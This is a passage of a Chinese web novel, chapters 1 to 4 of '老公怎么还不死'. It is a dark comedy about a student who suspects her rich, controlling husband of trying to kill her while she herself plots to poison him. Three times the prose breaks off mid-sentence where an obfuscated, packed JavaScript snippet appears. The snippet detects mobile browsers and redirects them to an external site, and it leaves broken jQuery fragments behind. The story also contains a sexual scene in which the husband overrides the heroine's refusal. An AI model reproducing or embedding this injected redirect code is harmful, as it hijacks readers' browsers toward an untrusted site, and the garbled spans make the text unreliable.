《老公怎么还不死》 1. 第 1 章 兰稚青是一个坚定的唯物主义者。 她不信星座血型能看出性格,也不信面相掌纹能预知自己的后半未来。 虽然现在她确实站在天桥底下,四处寻找一位可以帮忙解答唯心主义问题的东方心理疏导从业者。 大学城附近从来不缺人流量,但相应的,城管过来的次数也明显高于其他区域。 可由于客户群体集中,大部分摆摊的商家宁可被抓住罚款,也不愿意放弃这块肥肉。 王阿婆也正是在此时一眼相中兰稚青的。 她年轻时做过服装生意,也开过理发店和棋牌室,自认为在察言观色上有着自己独特的见解,退休之后也不肯闲着,看了几个八字紫微的小视频就敢出来摆摊算命。 反正人活在世上,左不过就是柴米油盐酱醋茶,财富家庭桃花运。 她经过众多实践,早就总结出了一套丰富的理论。 如果碰到满脸愁绪的年轻人,那就要叹一口气,说你很聪明,但慧极必伤,心思太多反而伤身,要和身边的小人保持距离,大造化还在后面。 如果碰到了满面红光的中年人,那就先恭喜对方最近心想事成,而后再感慨,虽然你前半生平平无奇,但是现在开始行了大运,但一定要小心身边的小人。 每次王阿婆这么一说,对方多半会沉思片刻,而后恍然大悟,连连称赞她是神算子。 毕竟这个世上这么多人,谁能保证自己身边没有几个自己看不顺眼的“小人”。 不过这些都只是小儿科,对于王阿婆来说,那些路过的女大学生们才是她真正的大客户。 比如她面前的兰稚青,王阿婆仔细打量着她的穿着打扮。 娃娃脸,戴眼镜,低马尾,连帽卫衣帆布包,手机的手机壳是会吱哇乱叫的白色仓鼠。 明显就是个典型的好脾气冤大头。 “小姑娘,你过来一下呗。” 王阿婆笑容满面地朝兰稚青招了招手。 兰稚青愣了一下,半晌才后知后觉对方是在喊自己,她有些犹豫地走了过去,问道:“有事吗?” “你坐下,我帮你算算怎么样?我算命是不要钱的。” 王阿婆故作高深地打量了她一眼,叹气道:“我看你别的倒是没什么大问题,就是这个桃花……唉,有点愁人。” 兰稚青闻言微微一顿,她紧张地抿了抿唇,试探问道:“这都能看出来?” “那当然,我可是专门看这个的,你坐下,我给你好好说说。” 王阿婆见她上钩立马喜笑颜开。 一般来说会跑到这里算命的女大学生,十个里面有八个是算感情。 她这话不能说是一捞一个准,但也基本不会翻车。 兰稚青神色虽然有些犹豫,不过还是半信半疑地坐在了对面。 就像所有算命要走标准化的流程一样,王阿婆先问了她的生辰八字,而后颇为深沉地皱紧了眉头。 “流年带红鸾,其实你的桃花最近已经出现了,你应该知道是谁吧?” 王阿婆扒拉了自己带过来的书,问道:“他的身高应该不算太矮。” 算桃花第一招——模糊的身高,不算太矮,只要一米六以上都能叫“不算太矮”。 兰稚青点了点头,实话实说道:“嗯,他确实不矮,身高大概将近一米九。” 是她讨厌的身高,越大只越难搞,杀人容易抛尸难,长得高还得多挖土。 “那确实还挺高的,是本地人吗?” “大概是吧。” “挺好的,你们是一个学校的同学?” “不是。” 兰稚青不打算再透露更多信息,开口道:“你还是说一说你能知道的吧。” 王阿婆见她不上钩,她了然地点了点头,又说道:“他长得其实也还不错。” 算桃花第二招——模糊的外貌,情人眼里出西施,只要恋爱脑上头了,满脸青春痘也能归为潜力股。 兰稚青思索了一下,再次点了点头,“如果以正常的大众审美来说,确实是这样。” 毕竟如果不是因为那张脸,她也不会就这么迷迷糊糊地掉进陷阱。 王阿婆挑了挑眉,再度问道:“他的家庭应该也还挺好吧,我的意思是——他的命很好,从小到大过得都比较顺风顺水。” 算桃花第三招——下一个含糊的定义,本地人,一米九,长得还有几分姿色,妥妥就是高富帅,这要是不顺风顺水才怪。 兰稚青闻言没有肯定,当然她也没有反驳,毕竟对方的运气确实好得离谱。 “姑娘,你别怪我说话不好听,是我们两个人有缘,我才和你实话实说。” 王阿婆叹了口气,“他确实是你的正缘不假,可是你们两个之间问题太大了,别的我暂且不说,他身边的桃花实在是太多,你想想,对方面对的那是一片海,你这里只有一个小水洼。” 兰稚青一脸漠然,仿佛丝毫不会为此担心。 王阿婆愣了一下,又继续说道:“如果你们这样继续发展下去,是不会有结果的,你要知道,有时候你的正缘是他,可他的正缘却不是你,你流年逢煞,红鸾星被压得死死的,这是大凶。” 兰稚青依旧不为所动,她像是一个在旁边旁观的路人,对王阿婆所说的一切都漠不关心。 这种诡异的态度和漫长的沉默让身经百战的王阿婆都有些紧张,甚至开始反思自己刚才有没有不小心说错话。 按照正常的流程,对方这个时候应该会很急切地问她该如何破解。 这样她就能装模作样地推三阻四,而后把自己五块钱批发过来的朱砂手串顺理成章以二百五十块的价格卖出去。 “姑娘,是不是我说话太直接了?” 王阿婆轻咳了一声,解释道:“其实我平时也会多拣着一点好话说,不过大家过来算命图个什么,不就图能多知道点东西,我也是不想瞒你,毕竟你的这个正缘是真的不错,唉……要是错过了这不是白白可惜了。” “不是。” 兰稚青轻轻摇了摇头,她神色平静道:“我和他……也就是你说的正缘,其实我们已经结婚了。” “结婚了?” 王阿婆愣了一下,难以置信问道:“你还没毕业吧,这么早就结婚了?” “三个月前领的证。” 兰稚青扫了一眼王阿婆,她歪了歪头,疑惑问道:“既然能从生辰八字看出未来正缘的情况,那不能从八字里看出早婚晚婚吗?” “这……” 王阿婆一时被她的话给堵住,完全没想到事情竟然会有这样的发展。 实在是不能怪她没有考虑周全,主要是现在的小年轻们都奉行晚婚不育,她的大女儿今年都三十七了,依旧坚持单身主义,事业为先。 上大学期间是可以结婚不假,可是有几个人是真的在校期间就选择领证结婚的,偏偏今天就这么巧被她遇到了。 平心而论, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880330|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她现在是真的很想找个借口把兰稚青给打发走,免得影响之后的生意。 可是现在临近傍晚,这里的人流量也越来越多,也有不少人在旁边旁观跃跃欲试,她要是直接赶人无异于砸了自己的招牌。 王阿婆一时间进退两难,她略微思索了一下,脸色陡然间又沉了下来。 “你确定你已经结婚了?” “嗯,确定。” “完了,那才是真的坏了……” 王阿婆猛然拍了一下大腿,眉头紧皱道:“你本来不应该这么早结婚的,现在还不是时候,人的命数都是定好的,你现在结婚就全乱套了。” 兰稚青闻言终于有了一星半点儿的反应,她眨了眨眼,问道:“有这么严重?” “那当然了,本来你再过两年又要行大运,到时候武曲星化禄在财帛宫,那是要发大财的。” 兰稚青眼神明亮,她微微坐直了自己的身体,“真的吗?” “那是当然的,这附近的人都知道,我不仅看八字,还会帮人看紫微,信我肯定没错。” 王阿婆见兰稚青终于有了一点正常人的反应,她立马趁热打铁,皱眉道:“这命原本多好……就是可惜现在出了点问题,可能得化解化解。” 兰稚青捕捉到了她话中的关键词,问道:“怎么化解?” “我这里有开过光的朱砂手串,你拿回去戴一个月,朱砂辟邪,到时候自然就拨乱反正了。” 王阿婆再度打量了一眼兰稚青,她的内心斟酌了一下价格,试探道:“这可是上等朱砂,平常我都是卖一千块钱的。” 兰稚青闻言神色如常,看起来并没有被这个价格吓到。 这小姑娘果然有钱! 王阿婆心中一喜,又继续道:“姑娘,真的不是我吹,只要你好好佩带一个月,保准有用,你就是结婚太早了,时候不对,现在把你老公克住了。” “可是我老公命很硬。” 兰稚青眉头轻皱,扒拉着手指说道:“他出门的时候楼上的花盆不小心掉了下来,但他偏偏躲了过去。” “吃饭的时候他不小心喝了农药,第二天电视就报道那家农药工厂偷工减料是色素兑水。 “包括上个周,他不小心从悬崖上掉了下去,可正正好好卡在歪脖子树上,最后只磕破了一点皮。” 兰稚青实话实说,真诚道:“我觉得他的命很硬,我克不住他。” “……” 王阿婆听完兰稚青的话一时间瞠目结舌,出于自己的职业素养,她坚持道:“虽然你老公的运气还不错,但这不是长久之计,如果你不化解,那用不了多久,他就会小命不保。” “看在我们有缘的份上,我给你个吉利数,888怎么样?” 王阿婆故意把话说的更加夸张,而也就是在她刚刚说完话的瞬间,兰稚青笑容灿烂地站了起来。 “谢谢,那我就不要了。” “不是……小姑娘,你别走啊,要不我再给你更便宜一点?” 王阿婆还试图想要挽回兰稚青,可是兰稚青却头也不回地转身离开。 如果克夫也是一种错误,那她情愿进监狱坐牢。 不过她的希望今天显然是落空了。 在她走出天桥的瞬间,她的手机就已经响起熟悉的来电铃声。 她的丈夫沈寂在电话那头带着歉意道:“抱歉,宝宝,路上出了一点意外,没来得及准备晚餐,今天晚上我们一起出去吃好吗?” 2. 第 2 章 这段可怕的孽缘到底是怎么开始的。 是的,孽缘。 对于她和沈寂之间的关系,兰稚青只能用这两个字才能确切形容。 最开始她和沈寂只是普通的网友关系,后来见面时由于各种不可抗力因素亲了个嘴,沈寂就执意要让她负责,以死相逼要和她结婚。 沈寂人长得漂亮,性格也非常温和,有钱并且父母双亡,是个非常标准的白富美,虽然有时候黏人了一些,但是却极大满足了兰稚青的虚荣心。 她承认在初期他们确实度过了一段快乐时光,可在结婚之后一切却不知不觉发生了变化。 不管是藏在垃圾袋里沾满鲜血的衬衫,还是厨房里莫名其妙少掉的菜刀,以及床头突然出现的神秘毒药,都开始让她觉得毛骨悚然。 沈寂和她结婚绝对另有目的。 兰稚青心里非常清楚这一点,可是她却想不明白沈寂到底图什么,论姿色,沈寂自己就长着一张漂亮的脸,论金钱,她穷得叮当响,一个月的生活费还不够沈寂吃顿饭。 思来想去,她觉得自己身上唯一可能对沈寂有价值的东西,或许就是自己的小命。 毕竟很多杀人魔都是喜欢先把猎物养起来再杀,这样才能充分享受他们的绝望与恐惧。 兰稚青想到这里不由得打了个哆嗦。 她站在街角等着沈寂过来接她,刺骨的寒风冻得她下意识裹紧了自己的外套,在她将地上的砖石数到第二遍时,一辆张扬的淡粉色跑车停在了她的面前。 兰稚青见状一怔,还未来及得反应过来发生了什么,车门就已经打开,迎面而来一束带着芬芳的红玫瑰。 “宝宝,纪念日快乐。” 沈寂含笑将花束递到了兰稚青的面前,他容貌生得很漂亮,皮肤白皙,明明打扮得温和斯文,偏偏一双眼睛像是狐狸一样勾人。 长相不俗的帅哥,价值不菲的跑车,精心准备的鲜花。 面对此情此景,大部分人应该都会欣喜若狂,激动不已。 而兰稚青却下意识屏住了呼吸,她警惕看着沈寂抱在怀里的花,试探问道:“这花是哪来的?” 沈寂笑容不改,他把花递给了兰稚青,解释道:“是家里花园里摘的,你忘了吗,我们还一起帮它修剪过枝叶。” “……原来是在花园里摘的,怪不得这么好看。” 兰稚青脸上的笑容尴尬而又僵硬,她伸出手臂接过了那束花,像是抱住一只恐怖的巨大蟑螂。 几乎是在沈寂即将开口的瞬间,她就已经反手把花丢得远远的。 好险。 差点被毒死。 她这两天晚上才偷偷往花上喷了敌敌畏,今天沈寂就把它摘下来送她跟前。 ……他该不会是故意的吧? 兰稚青略带怀疑地看了一眼沈寂,试图从他的表情中看出半分蛛丝马迹。 “宝宝,怎么突然把花扔了?” 沈寂被她这番动作吓了一跳,他看着摔在地上已经不成样的玫瑰花,嘴角的笑容都淡了下去,失落道:“你是不喜欢吗?” “当然不是!” 兰稚青闻言立马矢口否认,她摸了摸自己的鼻子,撒谎道:“其实我最近有一点点花粉过敏,一靠近鲜花就会打喷嚏。” “原来是这样。” 沈寂顿时了然,他抿唇笑了笑,看起来更显得温柔。 “我看你这两天晚上总是下楼去看它们,我还以为你会很喜欢。” “……” 兰稚青神色顿时一僵,她飞快移开了自己的视线,转移话题道:“你怎么突然换车了,而且还是这种颜色。” “今天是我们结婚一百天的纪念日,这是我送你的礼物。” 沈寂眼眸微弯,温声解释道:“上个月你点赞过这辆车的视频。” “……但是我不会开车。” “没关系,我会负责给你当司机的。” 沈寂拉开副驾驶的车门,兰稚青在他期待的眼神中视死如归地坐了进去。 “我们今天去哪里吃?” “我看你前两天收藏了城东那家新开的餐厅,我已经订好位置了。” 兰稚青闻言点了点头,脸上虚假的笑容差点都要挂不住了。 又是这样。 沈寂如同一个人形监控,她的一切所作所为都躲不过他的眼睛,不管她更换了多少次电话号码,注册了多少新的社交账号,他都依旧能精准无比地锁定她。 最开始,她看到自己前一天才在朋友圈里夸可爱的大玩偶出现在自己的面前,感受到的是被重视的惊喜。 可到后来,沈寂对她在社交平台上所有的动态都了如指掌,他知道她睡前看的小说看到了第几章,也知道她在哪一篇帖子下留下了评论。 就像是被一张细密的网紧紧包裹,她已经开始感到恐惧和窒息。 兰稚青觉得沈寂一定是知道了什么。 她警惕环视着车里的环境,再三确认过自己的安全带完好无损,沈寂刚刚想打开车内空调,她就已经先一步降下了车窗。 沈寂有些诧异,奇怪道:“不冷吗?” 兰稚青被迎面而来的冷风冻得打了个哆嗦,但还是坚持道:“一点都不……冷,我第一次坐跑车,想试试兜风的感觉。” 根据她的经验,车里最容易动手脚的地方就是空调口。 万一沈寂在上面抹了迷药或者剧毒…… 兰稚青仔细思索了一下,更加坚定了自己的想法。 ……而且就算沈寂没有下毒,那束花上的敌敌畏残留也能把她毒出事了。 “好吧,你开心就好。” 沈寂有些无奈地笑了笑,他拿起外套盖在了她的身上,侧头想要吻她,可是却被兰稚青飞快闪过,最后只亲到了她冰冷的脸颊。 “怎么又戴上眼镜了?” 沈寂微不可察地皱了皱眉,他不喜欢她戴眼镜。 一是因为厚重的镜片会挡住那双眼睛的光彩,再则就是这幅眼镜在接吻的时候实在碍事。 可是兰稚青却不这么想,眼镜是给予她安全感的重要物品,对于近视的人来说,摘下眼镜失去的不仅是视力,还会进一步影响到听觉和味觉。 即使她现在已经不再近视,但从前的身体本能却还残留在她的身上。 更重要的是,她戴上之后,可以更容易躲过沈寂突如其来的吻。 “已经这么长时间了,你的习惯还没有改过来啊。” 沈寂似笑非笑地看了她一眼,不知道是在说她喜欢戴眼镜的习惯,还是一直抗拒他接触的习惯。 兰稚青故意假装自己听不懂他的弦外之音,她估计着车里的毒药被风吹得差不多才敢把车窗关上。 车内的气氛极为安静,兰稚青故意闭上眼镜假装睡觉,避免自己和沈寂有更多的接触。 “乖宝。” 在一片黑暗之中,沈寂冰凉的手掌突然放在了她的手背之上。 兰稚青吓了一跳,她像是带着弹簧的人偶一样猛然坐直了身子,结结巴巴问道:“怎……怎么了?” 沈寂看到她惊慌失措的表情似乎有些诧异,他温声道:“我们到了。” “……这么快就到了。” 兰稚青有些狼狈地躲过沈寂的视线,生怕自己的反应太过异常反而会引发沈寂的怀疑。 说是结婚一百天的纪念日,可是她自己却一点都不记得,在点菜的时候也兴致缺缺,早就没了当时想要过来探店的热情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880331|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是沈寂却似乎一点都不受影响,他特地把餐厅包场提前布置了一番,鲜花气球一样不少,就连蛋糕都已经订好,满怀期待得像是正在热恋中的青春期少女。 “小乖,我觉得我好幸福。” 沈寂那双漂亮勾人的眼睛直勾勾盯着兰稚青,他的语气雀跃而又欣喜,“虽然我们才认识了一百九十六天,但已经是我们一起度过的第九十八个纪念日了。” “那真是太有意义了……纪念日快乐。” 恋爱第一天要办恋爱开始纪念日,恋爱第三天要办72小时纪念日,恋爱遇到的第一个周末要办情侣周末纪念日,第九天是长长久久纪念日,第十一天是双人成行纪念日…… 兰稚青不知道他在那里激动个什么劲儿。 餐厅是他布置的,车是他花钱买的,蛋糕是他订的,她充其量就是说了一句“纪念日快乐”,沈寂就已经开始戏瘾大发。 “真的是大小姐……” 兰稚青声音极小地嘟囔了一句,她想起自己平时刷到的视频,给富婆大小姐当生活助理是一种什么体验,估计就和她现在的情况差不多。 大小姐想起一套是一套,她不仅不能发火,还得还好声好气把人给供着哄着。 果然迎娶白富美也不是件轻松的事情。 “宝宝,你在说什么呢?” “没什么。” 兰稚青斟酌了一下自己的言语,试探道:“我在想,假如有一天我们离婚……” “离婚?” 沈寂脸上的笑意瞬间褪去,他抬眼直视着兰稚青,阴恻恻问道:“是外面的狐狸精让你这么做的吗?” “是昨天和你坐在一起上课的寸头男,还是前天和你借了笔记的小四眼?” 兰稚青连忙解释道:“不……我是说如果,如果,这只是一个假设。” “小乖,我们之间怎么会有这种如果呢。” 沈寂眉头微皱,有些不赞同地看着她,“你难道忘记我们在第二十五个纪念日时一起许下的愿望了吗?” “我们之间,没有离婚和丧偶……” 沈寂握住了兰稚青的手微微一笑,郑重其事道:“只有一起殉情。” 兰稚青身形一僵,她下意识想要抽回自己的手,但却拼尽全力克制住了自己。 对上沈寂脸上若有若无的笑容,她勉强勾起了自己的唇角,僵硬附和道:“那我们的爱情真是太伟大了。” 沈寂点头认可了兰稚青的评价,但显然他不愿意继续探讨离婚这个话题,所以主动改口道:“小乖,你尝一下这个。” “这是什么?” 兰稚青看着面前可疑的鱼片,迟迟不敢动筷子。 “是这家店的招牌,河豚刺身。” “……河豚。” 兰稚青闻言顿了顿,试探道:“你有没有听说过一句话,世界上最难处理的三样东西就是河豚,尸体和人际关系。” 沈寂听到兰稚青的话也不由得一怔,他撑着下巴仔细思索了片刻,突然眉开眼笑,轻声细语道:“如果这样的话,把难处理的河豚送给难处理的人际关系,那就只需要处理尸体了。” “……” 兰稚青刚刚伸出去的筷子又默默收了回来。 “宝宝,我是开玩笑的。” 沈寂见状又开口解释道:“野生河豚的肝脏是有毒的,但鱼肉无毒,可以放心吃的。” “……不了,我还是喝点汤吧。” 兰稚青尴尬抿了一口勺中奶白色的汤,却意外发现汤很鲜美,她眼睛一亮,随口道:“好鲜,汤里面是放了鹅肝吗?” “不是哦。” 沈寂坐在对面笑吟吟地看着她喝下最后一口汤,“里面放了河豚的肝。” 3. 第 3 章 “咳咳……” 兰稚青刚刚才咽下去的汤瞬间呛在了喉咙里,沈寂见状连忙过去帮她拍背,关切道:“宝宝,你没事吧?” “你刚刚说……汤里放了什么?” “是河豚的肝,不过我们吃的是人工养殖的河豚,肝脏也无毒。” 沈寂见兰稚青顺过气来才终于放心,他有些抱歉地眨了眨眼,解释道:“我只是想和你开个玩笑,没想到你的反应这么大。” 兰稚青擦了擦嘴,尴尬道:“……下次别开这种玩笑了。” 沈寂果然就是想要她的命! 兰稚青心有余悸,她环视了一圈桌子上的菜,可是却迟迟不敢再动筷子。 怀疑的种子一旦种下那就会疯狂生长,谁知道沈寂会不会偷偷在哪个菜里动手脚。 沈寂似乎看出了兰稚青的犹豫,他歪头看了她许久,轻声道:“怎么不吃了?是不合胃口吗?” “……没事,我就是突然有感而发。” 兰稚青默默放下了自己的筷子,她轻轻叹了口气,语气里带着指责:“这么好吃的菜,你带你爸妈过来吃过吗?” 沈寂闻言一怔,解释道:“宝宝,我爸妈早就过世了。” 兰稚青:“……” 草,差点忘了。 代错公式了。 “这么一桌子菜得不少钱吧。” 兰稚青轻咳了一声,淡淡道:“你们男的来钱就是快哈。” “还好吧,现在是我们的夫妻共同财产了。” 沈寂丝毫不受任何的影响,甚至笑吟吟补充道:“我赚的钱都要给宝宝花。” “夫妻共同财产……那你还花这么多,又包场餐厅又点这么多菜,我就没见过你这么败家的男的。” 兰稚青就是成心想要给沈寂找不痛快,试图报刚刚沈寂耍她的仇。 “我知道你有钱,但是你也不能乱花啊,难道你们有钱人的钱都是大风刮来的吗?” “当然不是,钱靠大风刮来还要依靠天气的好坏。” 沈寂对上兰稚青愤怒的表情,他眨了眨眼,继续解释道:“一般来说,我的账户余额增长就像呼吸一样自然。” 兰稚青:“……” 爹的,最烦装逼的人。 一顿心怀鬼胎的晚餐吃下来,疲惫程度不亚于她冬天连着三天起床去上早八。 兰稚青好不容易熬到了回家,可是随之还要面临更严重的问题。 那就是在心怀鬼胎的晚餐之后,还有同床异梦的共枕而眠。 “宝宝,我帮你放好热水了,你今天一定累到了,快去泡澡休息一下吧。” 沈寂从一进家门就开始忙活,兰稚青却有些紧张,她警惕环视了一圈浴室里的边边角角,确认过没有问题才敢走进去。 她不是没想过要和沈寂分房睡,可是沈寂却无论如何都不肯同意。 害得她每天躺在床上还要提心吊胆,生怕自己一觉睡过去就再也醒不过来。 兰稚青靠在浴缸里闭上眼睛,她试图让自己冷静下来,可是脑子里却像是走马灯一样闪过无数和沈寂相处的细节。 他们认识的契机是因为沈寂约了她很多插画稿件。 和无父无母却继承巨额遗产的沈寂不同,她亲爹亲妈都还健在,她上面有一个已经订婚的哥哥,下面还有一个和她同岁的双胞胎弟弟。 父母忙着为两个儿子攒老婆本,兰稚青四年的大学学费是靠助学贷款,生活费则是靠家教和打工,她喜欢画画,平常也会在社交平台上放一些自己的作品,来吸引更多的人找她约稿。 沈寂就是其中的一个。 他出手阔绰,价格开得很高,唯一比较特殊的是,他不磕CP也没有OC,要画什么基本全凭兰稚青自由发挥,从来不催稿不说,还隔三差五给她点各种好吃的。 她本来以为这是老天奶终于开始可怜她,所以从天而降一个好心的金主妈妈。 没想到见了面之后才发现对方和自己想的相差甚远,除了一张漂亮的脸蛋和丰厚的财力之外,性别,身高,性格等等都完全出乎她的意料。 兰稚青越想越觉得沈寂是早有预谋,故意设了陷阱等她往下跳。 她怎么就脑子发昏和沈寂结婚了呢…… 怀着无比沉痛的心情,兰稚青套上浴袍吹干头发,做了好一番思想准备才终于走出浴室。 只不过有些出乎她意料的是,沈寂早已先她一步洗完了澡,此时正坐在床边把玩着一股麻绳。 沈寂的外貌确实是挑不出刺的优秀,他的手和脸一样漂亮,手指骨节分明,修长白皙,即使握着粗糙的麻绳也有一种诡异的美感。 可是兰稚青却顾不上欣赏,她看到那段熟悉的麻绳心里不由得咯噔了一下。 “……你拿着绳子做什么?” 兰稚青见状心生警惕,她下意识后退了一步,试图找到可以防身的东西。 “小乖,这不是你准备的吗?” 沈寂闻言眨了眨眼,脸上带着些许的疑惑,“我是在你枕头底下找到的。” “额……是我准备的,但是那个是我……” 兰稚青结结巴巴,试图为自己藏麻绳的行为找到一个合理的解释。 可是还未等她编出一个合适的谎言,沈寂就已经把她拉进怀里亲了一口,暧昧道:“我们现在开始吗?” “……开始什么。” 兰稚青坐在沈寂的腿上,她整个人僵硬得像木偶,完全不敢直视沈寂的双眼,生怕惹怒了他,自己会直接命丧当场。 沈寂看到她这幅紧张的样子更觉得心痒,直接把麻绳塞到了她的手里,甜蜜道:“LadyFirst,宝宝,你先来绑我吧。” “……啊?” 兰稚青猝不及防被塞了一团麻绳在手里,就像是握了一块热碳一样烫手。 她生怕这是沈寂对她的试探,连忙干巴巴解释道:“不……我怎么会绑你呢,这是个误会……” “不打算拿来绑住我的,那宝宝你是希望我绑你吗?” 沈寂闻言眉眼弯弯,似笑非笑道:“还是说你不想绑我的手……想试试绑其他的地方?” “不是,我不是想玩这个……” 兰稚青意识到自己又被沈寂绕了进去,她下意识想要起身,可是两人体型差距又实在太大,沈寂轻轻松松就抱着她一起滚到了床上。 密密麻麻的亲吻像是潮水一样把她淹没,室内的温度再持续上升,那团可怜的麻绳被扔在一旁,全然失去了它最开始的作用。 “宝宝,今天可以舔舔吗?” 兰稚青想要拒绝,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880332|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上沈寂那双漂亮的眼睛不由得又失神了一瞬,就连沈寂解开了她浴袍的带子都不曾察觉。 沈寂对她的反应十分满意,他的唇角抿着笑意,捧着她的脸颊轻声细语道:“宝宝,睁开眼睛看着我。” 兰稚青被他的话所蛊惑,她像是被塞壬迷惑的水手一样呆呆看着沈寂,完全忘记了自己还要反抗。 她是一块柔软的橡皮泥,或者是一块从冰箱里拿出来的雪糕,在温度的攀升之下渐渐融化,变成了一汪甜水不停摇晃。 冰凉的手指落在了皮肤之上,沈寂握住了她的小腿,随之而来的麻绳的粗糙质感,擦过皮肤泛起阵阵痒意。 兰稚青呜咽了一声,她的意识终于回笼,伸手试图把沈寂推开,可是却被他反扣着按在了床上。 “宝宝,我是谁?” 沈寂脸上带着温柔的笑意,兰稚青不愿直视他的脸,故意别开了自己的视线。 “……沈寂,你别闹了,我明天还要回学校上课。” 沈寂抿了抿唇,他不太满意她这么冷淡的回答。 兰稚青经常腹诽他是个有大小姐脾气的人,不是因为沈寂过于女性化,而是两人之间的关系就像是一穷二白的草包赘婿娶了金尊玉贵的娇气大小姐。 大小姐心情好的时候有修养讲礼节优雅从容贤惠持家,谁看了都得说一句得妻如此夫复何求。 可一旦大小姐脾气上来了,事情就不是她所能控制的了。 沈寂是年轻貌美如狼似虎的漂亮老婆,然而兰稚青却是X虚X萎立不起来的X泄老公。 只要大小姐想要,X虚可以补,X萎可以吃药,立不起来能用小道具,X泄可以玩controas|m,顺便还会被大小姐安慰“一分钟也很厉害啦”。 沈寂总是希望能在兰稚青的身上得到应有的回应。 如果兰稚青愿意哄着他,那沈寂自然也会收敛脾气对她温柔小意,百依百顺。 可一旦兰稚青对他态度冷淡下来,沈寂骨子里的掌控欲和报复心就会开始作祟。 他故意无视了兰稚青拒绝的话语,那双修长的手指故意沿着她的大腿而上,像是在弹奏钢琴一样闲适自然。 兰稚青身子颤抖了一下,她紧紧抓住了身旁的枕头,死死咬着下唇不愿意吭声。 “乖宝,不要咬自己的嘴唇,这样会很疼的。” 沈寂用空闲的左手轻轻擦过她的唇瓣,想要趁机撬开她的嘴,可是兰稚青却始终不愿意回应他。 他挑了挑眉,右手微微曲起重重划过。 兰稚青哆嗦了一下,她下意识想要开口让沈寂住手,可是反而被沈寂逮到了机会。 沈寂捏住了她的下巴,强迫她和自己对视,再次重复问道:“宝宝,我是谁?” 兰稚青眼里还含着眼泪,她只能忍气吞声开口说出沈寂想要的答案。 “哥哥……老公,你是老公……” “乖宝贝。” 沈寂终于得到了自己满意的回答,可是这一切却都不算完。 兰稚青在意识迷蒙之间也终于想起了问题的答案。 她到底为什么会脑子发昏和沈寂结婚。 就是因为当初被这张漂亮的脸所迷惑。 该死的色迷心窍。 现在遭报应了吧。 4. 第 4 章 凌晨三点钟,兰稚青在一片黑暗中睁开了眼睛。 她身旁的沈寂此时还在沉睡,手紧紧环抱着她,呼吸均匀。 兰稚青侧头看了他一眼,在黑暗之中,她看不到沈寂那张漂亮的脸,所以心也紧跟着变得更狠。 月黑风高夜,杀人放火时。 现在就是动手的最好时机。 可是她现在浑身软得和面条一样,就连精心准备的作案工具现在已经沾上了可疑的液体…… 兰稚青思来想去依旧无计可施,最后只能抱紧怀里的玩偶兔子,在黑暗中恶狠狠瞪了沈寂一眼,非常窝囊地翻了一个愤怒的身。 她决定养精蓄锐小睡片刻,睡醒就结束沈寂罪恶的人生。 于是…… 她一觉睡到了天亮。 兰稚青迷茫睁开自己的眼睛,看清手机上的时间猛然坐了起来。 住在校外的好处确实不少,可是一到早上就基本完全抵消。 八点钟的课,她早上七点半就要出门,六点半就要起床,夏天还能好些,可是冬天实在是有点痛苦。 沈寂倒是每天都保持着正常的作息,不管他昨晚闹到了多久,第二天早上五点钟都能准时准点起床操持家务。 他有一份很体面的工作,在隔壁大学当特聘教授,平时只需要象征性地过去上几节课,就能被人尊敬称呼一声“沈教授”。 长相好,脾气好,就连结课也从来不考试和测验,只需要写一篇结课论文就能拿到学分。 如果这样的人是自己的老师,兰稚青会说一句谢天谢地。 可如果这样的人是自己的丈夫,兰稚青只能骂一句贼老天你真该死。 昨天晚上沈寂又抱着她重新洗了一遍澡,换下来的脏衣服却不知为何消失得无影无踪。 兰稚青早就习惯了这样的结局,她急匆匆起床洗漱,走进衣帽间一件接着一件寻找,可是始终都没有找到自己想穿的那件衣服。 “沈寂,你又把我的衣服扔到哪里去了。” 遍寻无果的兰稚青气急败坏跑下楼,她把手里的黑色卫衣扔到了沙发上,对着正在厨房做饭的沈寂大声质问。 “怎么了宝宝,出什么事了?” 沈寂听到动静急匆匆走了出来,他的身上还围着淡蓝色的围裙,周遭围绕着黄油烤面包的特殊香气,像极了一位贤惠的丈夫。 他拿起兰稚青扔到自己面前的衣服仔细端详了片刻,笃定道:“这就是你的衣服呀。” “这不是!” 兰稚青对他睁眼说瞎话的行为怒不可遏,她愤怒道:“这上面的字母都不一样!” 她的黑色加绒superme卫衣厚实又暖和,是她三年前从某砍一刀软件上精挑细选三天的收获。 因为有它的存在,她才能抵御严寒,即使图书馆的空调开了也像没开一样,她也依旧可以在位置上稳如泰山。 “字母不一样……怎么会不一样呢……” 沈寂因为她的话而慌张了一瞬,他拿起卫衣翻过来覆过去地看了几眼,干巴巴道:“宝宝,会不会是你记错了?” “怎么可能?我自己的衣服怎么可能会记错,你现在是在试图给我洗脑吗?” 